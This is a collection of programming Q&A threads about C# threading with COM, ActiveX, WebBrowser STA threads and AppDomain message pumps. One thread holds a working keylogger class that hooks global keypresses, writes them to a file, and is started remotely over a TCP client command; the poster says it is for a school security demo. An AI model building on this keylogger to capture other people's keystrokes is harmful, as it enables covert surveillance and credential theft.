Make my COM assembly call asynchronous - c#

I've just "earned" the privilege to maintain a legacy library coded in C# at my current work.
This dll:
Exposes methods for a big legacy system made with Uniface, that has no choice but calling COM objects.
Serves as a link between this legacy system, and another system's API.
Uses WinForm for its UI in some cases.
More visually, as I understand the components :
*[Big legacy system in Uniface]* ==[COM]==> [C# Library] ==[Managed API]==> *[Big EDM Management System]*
The question is: One of the methods in this C# Library takes too long to run and I "should" make it asynchronous!
I'm used to C#, but not to COM at all. I've already done concurrent programming, but COM seems to add a lot of complexity to it and all my trials so far end in either:
A crash with no error message at all
My Dll only partially working (displaying only part of its UI, and then closing), and still not giving me any error at all
I'm out of ideas and resources about how to handle threads within a COM dll, and I would appreciate any hint or help.
So far, the biggest part of the code I've changed to make my method asynchronous :
// my public method called by the external system
public int ComparedSearch(string application, out string errMsg) {
errMsg = "";
try {
Action<string> asyncOp = AsyncComparedSearch;
asyncOp.BeginInvoke(application, null, null);
} catch (ex) {
// ...
}
return 0;
}
private int AsyncComparedSearch(string application) {
// my actual method doing the work, that was the called method before
}
Any hint or useful resource would be appreciated.
Thank you.
UPDATE 1:
Following answers and clues below (especially about the SynchronizationContext, and with the help of this example) I was able to refactor my code and making it to work, but only when called from another Window application in C#, and not through COM.
The legacy system encounters a quite obscure error when I call the function and doesn't give any details about the crash.
UPDATE 2:
Latest updates in my trials: I managed to make the multithreading work when the calls are made from a test project, and not from the Uniface system.
After multiple trials, we tend to think that our legacy system doesn't support well multithreading in its current config. But that's not the point of the question any more :)
Here is a exerpt of the code that seems to work:
string application;
SynchronizationContext context;
// my public method called by the external system
public int ComparedSearch(string application, out string errMsg) {
this.application = application;
context = WindowsFormsSynchronizationContext.Current;
Thread t = new Thread(new ThreadStart(AsyncComparedSearchAndShowDocs));
t.Start();
errMsg = "";
return 0;
}
private void AsyncComparedSearch() {
// ANY WORK THAT AS NOTHING TO DO WITH UI
context.Send(new SendOrPostCallback(
delegate(object state)
{
// METHODS THAT MANAGE UI SOMEHOW
}
), null);
}
We are now considering other solutions than modifying this COM assembly, like encapsulating this library in a Windows Service and creating an interface between the system and the service. It should be more sustainable..

It is hard to tell without knowing more details, but there are few issues here.
You execute the delegate on another thread via BeginInvoke but you don't wait for it. Your try\catch block won't catch anything as it has already passed while the remote call is still being executed. Instead, you should put try\catch block inside AsyncComparedSearch.
As you don't wait for the end of the execution of remote method (EndInvoke or via callback) I am not sure how do you handle the results of the COM call. I guess then that you update the GUI from within AsyncComparedSearch. If so, it is wrong, as it is running on another thread and you should never update GUI from anywhere but the GUI thread - it will most likely result with a crash or other unexpected behavior. Therefore, you need to sync the GUI update work to GUI thread. In WinForms you need to use Control.BeginInvoke (don't confuse it with Delegate.BeginInvoke) or some other way (e.g. SynchronizationContext) to sync the code to GUI thread. I use something similar to this:
private delegate void ExecuteActionHandler(Action action);
public static void ExecuteOnUiThread(this Form form, Action action)
{
if (form.InvokeRequired) { // we are not on UI thread
// Invoke or BeginInvoke, depending on what you need
form.Invoke(new ExecuteActionHandler(ExecuteOnUiThread), action);
}
else { // we are on UI thread so just execute the action
action();
}
}
then I call it like this from any thread:
theForm.ExecuteOnUiThread( () => theForm.SomeMethodWhichUpdatesControls() );
Besides, read this answer for some caveats.

Related

Library works when called in Form1, but not from anywhere else

I have this library http://www.codeproject.com/KB/cs/globalhook.aspx
I've downloaded it and compiled it to DLL.
At first I had a weird problem that it haven't worked in my project, but it did (in the exact same code) worked in the demo project, but it was fixed by applying what the following message said:
http://www.codeproject.com/KB/cs/globalhook.aspx?msg=3505023#xx3505023xx
Note: I'm working with .NET 4, VS 2010 Ultimate
Well, I have a file Form1.cs, which is my main form for my app.
I have other files: Client.cs, Script.cs, Keylogger.cs - no, it's not an evil keylogger - It's for a school presentation about security\antiviruses etc.
Keylogger.cs has one static class and here's the code:
public static class Keylogger
{
static private StreamWriter sw = null;
static private System.Timers.Timer t = null;
static public bool Started = false;
static public void Start(string Location)
{
Started = true;
sw = new StreamWriter(Location, true, Encoding.Default, 1);
HookManager.KeyPress += HookManager_KeyPress;
t = new System.Timers.Timer(3600000);
t.Elapsed += (object sender, System.Timers.ElapsedEventArgs e) => sw.WriteLine(Environment.NewLine + "1 HOUR PASSED");
t.Start();
}
static public void Stop()
{
if (!Started)
throw new Exception("Keylogger is not operating at the moment.");
Started = false;
HookManager.KeyPress -= HookManager_KeyPress;
t.Dispose();
sw.Dispose();
}
static private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == 8)
sw.Write("{BACKSPACE}");
else
sw.Write(e.KeyChar);
}
}
The Client class isn't static - it manages a TCP connections with a server, and send all received data to Script.RunScript(string scr) (static method).
Well, Script.RunScript should invoke Keylogger.Start(string location) for some input (STARTLOGGING c:\log.txt)
And invoke Keylogger.Stop() for some input (STOPLOGGING)
Well, everything is good, it invokes Start, but it doesn't work.
It does the whole process, (timer, event, streamwriter etc) but when I press something - the whole computer freeze for a couple of seconds and nothing happened (it doesn't even invoke KeyPress) - it happens only the first time. any other time - it simply ignores my keypress.
THE FUNNY THING IS - if I call Start from my mainform (in the ctor, on a button click event) - IT DOES WORK ! without any lag.
I did try different events (MouseDoubleClick, MouseMove) and all had the same problem.
Thank you, Mark !
The delay followed by the UI getting responsive again is a strong sign of the underlying cause of the problem. You see Windows healing itself, noticing that the callback isn't being responsive. It automatically disables the hook.
The hard requirement you probably violate is that the SetWindowsHookEx() call must be made from a thread that pumps a message loop. So that Windows can break in on a keypress and call the callback. That works fine when you called the Start() method from a button click, the Click event runs on the UI thread of your program.
But probably not when you this call is made from a networking event. They tend to run on a threadpool thread. It isn't clear from your snippet, you didn't post the code. The generic fix for a problem like this is using Control.BeginInvoke() to marshal a call from a worker thread to the UI thread. You'll find a good description of it in the MSDN library article as well as many, many answers here at stackoverflow.com
Fwiw, the original code got broken due to changed behavior in the .NET 4 version of the CLR. It no longer fakes the native module for assemblies. The workaround is good enough, it only needs a valid module handle. The actual one doesn't matter since this is not a global hook.
I think your best bet is to not write to the network on UI events, but instead have your logger write to a local file or in-memory database or similar, and then have a timer that periodically writes the content of that message to the server. That way you can both send chunkier messages to the server (improving performance on both machines) as well as have the ability to run the network call on a background thread, which makes the UI feel snappier.

How to serialize access to an asynchronous resource?

Can anyone point me to a good working solution to the following problem?
The application I'm working on needs to communicate over TCP to software running on another system. Some of the requests I send to that system can take a long time to complete (up to 15sec).
In my application I have a number of threads, including the main UI thread, which can access the service which communicates with the remote system. There is only a single instance of the service which is accessed by all threads.
I need to only allow a single request to be processed at a time, i.e. it needs to be serialized, otherwise bad things happen with the TCP comms.
Attempted Solutions so far
Initially I tried using lock() with a static object to protect each 'command' method, as follows:
lock (_cmdLock)
{
SetPosition(position);
}
However I found that sometimes it wouldn't release the lock, even though there are timeouts on the remote system and on the TCP comms. Additionally, if two calls came in from the same thread (e.g. a user double clicked a button) then it would get past the lock - after reading up about locking again I know that the same thread won't wait for the lock.
I then tried to use AutoResetEvents to only allow a single call through at a time. But without the locking it wouldn't work with multiple threads. The following is the code I used to send a command (from the calling thread) and process a command request (running in the background on its own thread)
private static AutoResetEvent _cmdProcessorReadyEvent = new AutoResetEvent(false);
private static AutoResetEvent _resultAvailableEvent = new AutoResetEvent(false);
private static AutoResetEvent _sendCommandEvent = new AutoResetEvent(false);
// This method is called to send each command and can run on different threads
private bool SendCommand(Command cmd)
{
// Wait for processor thread to become ready for next cmd
if (_cmdProcessorReadyEvent.WaitOne(_timeoutSec + 500))
{
lock (_sendCmdLock)
{
_currentCommand = cmd;
}
// Tell the processor thread that there is a command present
_sendCommandEvent.Set();
// Wait for a result from the processor thread
if (!_resultAvailableEvent.WaitOne(_timeoutSec + 500))
_lastCommandResult.Timeout = true;
}
return _lastCommandResult.Success;
}
// This method runs in a background thread while the app is running
private void ProcessCommand()
{
try
{
do
{
// Indicate that we are ready to process another commnad
_cmdProcessorReadyEvent.Set();
_sendCommandEvent.WaitOne();
lock (_sendCmdLock)
{
_lastCommandResult = new BaseResponse(false, false, "No Command");
RunCOMCommand(_currentCommand);
}
_resultAvailableEvent.Set();
} while (_processCommands);
}
catch (Exception ex)
{
_lastCommandResult.Success = false;
_lastCommandResult.Timeout = false;
_lastCommandResult.LastError = ex.Message;
}
}
I haven't tried implementing a queue of command requests as the calling code expects everything to be synchronous - i.e. the previous command must have completed before I sent the next one.
Additional Background
The software running on the remote system is a 3rd party product and I don't have access to it, it is used to control a laser marking machine with an integrated XY table.
I'm actually using a legacy VB6 DLL to communicate with the laser as it has all the code for formatting commands and processing the responses. This VB6 DLL uses a WinSock control for the comms.
I'm not sure why a queueing solution wouldn't work.
Why not put each request, plus details for a callback with result, on a queue ? Your application would queue these requests, and the module interfacing to your 3rd party system can take each queue item in turn, process, and return the result.
I think it's a cleaner separation of concerns between modules rather than implementing locking around request dispatch etc. Your requestor is largely oblivious of the serialisation constraints, and the 3rd-party interfacing module can look after serialisation, managing timeouts and other errors etc.
Edit: In the Java world we have BlockingQueues which are synchronised for consumers/publishers and make this sort of thing quite easy. I'm not sure if you have the same in the C# world. A quick search suggests not, but there's source code floating around for this sort of thing (if anyone in the C# world can shed some light that would be appreciated)

Create thread just like if it were a separated application in C#

I've been having a bunch of exceptions when trying to use a WebBrowser on a multithread application. COM component, protected memory and other exceptions everywhere I do stuff with the WebBrowser. I just gave up and went back to my single thread version which works fine. I would post code but it's hard to localize the cause of the problem when I get exceptions at so many spots. So, if as a single thread application it runs fine, and if when I run several instances of the same application it also works fine, there should be a way to simulate several applications running from a single application without having to actually make a separated application that I would run from the main application. My question, then, is how can I make Windows treat my threads as if they were different instances? This should eliminate the problem, since, as I said, when they ARE different instances I don't get any exception. Hope I'm being clear enough.
WebBrowser is a COM component under the hood, Internet Explorer. Like many COM components, it requires a 'single threaded apartment'. You have to create one to make it a hospitable home for the component. Basically two essential requirements: the thread needs to be initialized as an STA and it needs to pump a message loop.
Here's one that uses the plumbing provided by Windows Forms:
private void runBrowserThread(Uri url) {
var th = new Thread(() => {
var br = new WebBrowser();
br.DocumentCompleted += browser_DocumentCompleted;
br.Navigate(url);
Application.Run();
});
th.SetApartmentState(ApartmentState.STA);
th.Start();
}
void browser_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e) {
var br = sender as WebBrowser;
if (br.Url == e.Url) {
Console.WriteLine("Natigated to {0}", e.Url);
Application.ExitThread();
}
}
Beware that the DocumentCompleted event gets raised on that worker thread. I arbitrarily used that event to also make the thread terminate.
I think your issue may have something to do with the way Microsoft.NET handles UI controls. Basically, any method for a control must be called from the thread that created it (perhaps even the main UI thread exclusively). Otherwise, you will get a bunch of access-related exceptions. I believe you will need to use the InvokeRequired property and Invoke method to call into the control, which also means that you will have to define a delgate function that wraps each method you want to call. Using the WebBroweser.Url property as an example, you could write something like this:
public delegate void SetWebAddressDelegate ( WebBrowser browser, Uri newUrl);
public void SetWebAddress ( WebBrowser browser, Uri newUrl )
{
if (browser.InvokeRequired)
browser.Invoke(new SetWebAddressDelegate(SetWebAddress), browser, newUrl);
else
browser.Url = newUrl;
}
It sounds like you might be sharing a single WebBrowser instance across threads. If each thread has its own instance, and the threads aren't communicating with each other, I would expect that to be equivalent to running multiple instances of the process.

ActiveX control without a form

We are required to use a 3rd party ActiveX control.
The only issue is, the layer in our software is a business layer and has no access to a window or form. It also runs on separate threads (and should work from any thread) that are not STA.
Rather than breaking our separation of UI from business logic, we used this workaround to make it work:
Thread thread = new Thread((ThreadStart)
delegate
{
_myActiveX = new MyActiveXType();
_myActiveX.CreateControl();
//more initialize work
Application.Run();
});
thread.SetApartmentState(ApartmentState.STA);
thread.IsBackground = true;
thread.Start();
Then anytime we need to reference the control, we call _myActiveX.BeginInvoke() or Invoke().
On disposing of this class (exiting our app), we dispose the control and abort the thread.
My question is, are there any problems with this? Is there a better way to handle this?
Is there a better built in way to work with an ActiveX control from within an unknown multi-threaded environment? We are trying to write our class in a way that wraps the control but will work from any thread.
UPDATE: As an answer suggested, we really would rather use the standard COM object and not use a control at all. Our issue with that was we would get the error "(Exception from HRESULT: 0x8000FFFF (E_UNEXPECTED)" upon the first method or property we call on the COM object. This is a pretty generic error that we don't get when using the ActiveX, any ideas?
UPDATE: Our ocx is "CX25.ocx", using tlbimp.exe we get CX25Lib.dll. Using aximp.exe, we get AxCX25Lib.dll and CX25Lib.dll. CX25Lib.dll does not work in either case. AxCX25Lib.dll works.
I'm assuming this is the proper way to go about this.
We've been using my code above in test environments for the past few weeks with no issues.
If anyone has to use an ActiveX without a form, I assume this is one way to do it.
Just make sure to call _yourActiveXControl.CreateControl() directly after your ActiveX object's constructor. This simplified many issues we had originally.
If you are calling the ActiveX control from a business layer, that means that it must be able to be used without a UI, e.g. just by calling its public methods. Why not just create an interop RCW for the ActiveX control class and call its methods directly?
My solution is to create a hidden winform that host the activex control
I know this is an old post, but I would recommend using the TPL in our modern era.
It's better to use the task parallel library instead of the old threading API because of the features around exception handling, cancellation, continuation, and returning results.
Here's an example:
using (var sta = new StaTaskScheduler(1))
{
var taskResult = await Task.Factory.StartNew(() =>
{
var results = new List<ResultType>();
using (var ax = new MyActiveXType())
{
// important to call this just after constructing ActiveX type
ax.CreateControl();
ax.SomeIterativeEvent += (s, e) => results.Add(e.SomeThing);
// if applicable, you can tear down the message pump
ax.SomeFinalEvent += (s, e) => Application.ExitThread();
//more initialize work
// start message pump
Application.Run();
return results;
}
}, CancellationToken.None, TaskCreationOptions.None, sta);
return taskResult;
}
Some points:
StaTaskScheduler is a type found in the ParallelExtensionsExtras nuget package. You'll need this to schedule tasks to execute in a Single Threaded Apartment.
I'm passing 1 to the constructor of StaTaskScheduler so that it only ever creates a single thread for me.
Application.ExitThread() is called to stop the message pump, which in turn allows execution to pass by Application.Run() so that some result can be returned to the caller.
The CreateControl() method is from AxHost and requires System.Windows.Forms as a dependency.
If you want to use ActiveX without UI you can directly create COM object of ocx using native call.
[DllImport("ole32.dll", PreserveSig = false)]
[return: MarshalAs(UnmanagedType.Interface)]
public static extern object CoCreateInstance([In] ref Guid clsid,[MarshalAs(UnmanagedType.Interface)] object punkOuter,int context, [In] ref Guid iid);
public object createComObject(){
Guid IID_IUnknown = new Guid("{00000000-0000-0000-C000-000000000046}");
var gid = "{6bf52a52-394a-11d3-b153-00c04f79faa6}"; //your ocx guid
var clsid = new Guid(gid);
object yourOCX = CoCreateInstance(ref clsid, (object)null, 1, ref IID_IUnknown);
return yourOCX ;
}
You can later cast the COM object to required interfaces
IOleObject iole = yourOCX as IOleObject;
IWMPCore iwmp = yourOCX as IWMPCore;
I have created Windows Media Player ActiveX without UI or AxHost in C# over this link. It might help someone trying to run ActiveX without UI.

Message Pumps and AppDomains

I have a a C# (FFx 3.5) application that loads DLLs as plug-ins. These plug-ins are loaded in separate AppDomains (for lots of good reasons, and this architecture cannot change). This is all well and good.
I now have a requirement to show a Dialog from one of those plug-ins. Bear in mind that I cannot return the dialog Form to the main application and have it displayed there (the current infrastructure doesn't support it).
Failure 1
In my DLL I created a Form and called Show. The dialog outline showed up but did not paint and it doesn't respond to mouse events. I assumed that this is becasue the DLL is in a separate AppDomain and the message pump for the app is somehow unable to dispatch messages to the new Form.
Failure 2
In my DLL I created a Form and called ShowDialog, which by all rights should create an internal message pump for the dialog.. The dialog is displayed and responded to clicks (hooray), but it appears that the primary app no longer is processing or dispatching windows messages because it quits painting and no longer responds to mouse events. For some reason now it seems that the main app's message pump is not dispatching.
Failure 3
In my DLL I created a Form and called Application.Run. This will certainly create a complete second message pump. I get the same behavior as Failure 2 - the Dialog behaves, but the calling app does not.
Any thoughts on what exactly is going on here and how I might go about showing a dialog from the other AppDomain's DLL and have both the caller and the callee still respond and paint properly?
Try using appdomain1's main form's BeginInvoke with a delegate that displays the form from appdomain2. So in Pseudocode:
Appdomain1:
AppDomain2.DoSomething(myMainForm);
AppDomain2:
DoSomething(Form parent)
{
Form foolishForm = new Form();
parent.BeginInvoke(new Action( delegate { foolishForm.Show(); } ));
}
The code may not be perfect, but it demonstrates the concept.
By the way, if you are having problems passing forms around because of remoting you can:
public class Container<T> : MarshalByRefObject
{
private T _value;
public T Value { get { return _value; } set { _value = value; } }
public Container() { }
public Container(T value) { Value = value; }
public static implicit operator T(Container<T> container)
{
return container.Value;
}
}
That will contain object you throw at it.
We have a very similarly architected application that loads DLL files and plugins. Each DLL file is loaded in a separate application domain, which is created on a separate thread. We have a third-party control in a form that would not appear unless we call System.Windows.Forms.Application.DoEvents() regularly.
Pseudo code:
<In new thread>
<Application domain created. Start called inside new application domain.>
<Start loads new DLL file, calls init function in DLL file>
<Start loops, calling DoEvents until the DLL file exits>
<Application domain unloaded>
<Thread exits>
This solved all of our GUI issues.
One thing that I've used before is implementing a DomainManager. It's possible to customize the various application domain security/binding/context's to handle complex or chicken-egg type problems with respect to pumping your data where you want ;)
I've ususally done this from a native.exe, bootstrapping the CLR through the COM interfaces (psudo code but the order and method names are correct ;):
CorBindToRuntimeEx()
SetHostControl()
GetCLRControl()
SetAppDomainManagerType("yourdomainmanger","info")
// Domain manager set before starting runtime
Start()
HostControl -- GetDomainManagerForDefaultDomain()
DomainManager -- Run()
Your domain manager can be any CLR class library, so their's not that much more native C.
A side note, if you were in WPF; I really like using the "Microsoft.DwayneNeed.Controls" method. Where you may have disperate threads with their own Dispatcher pump in the same UI control (not needing to resort to entirely new Window()'s).
The unique thing about using this approach, is that even if the primary UI thread is blocked/busy (some heavy operation, scanning the filesystem, etc...), these other threads may paint/update their UIElement's without any hiccup.

Categories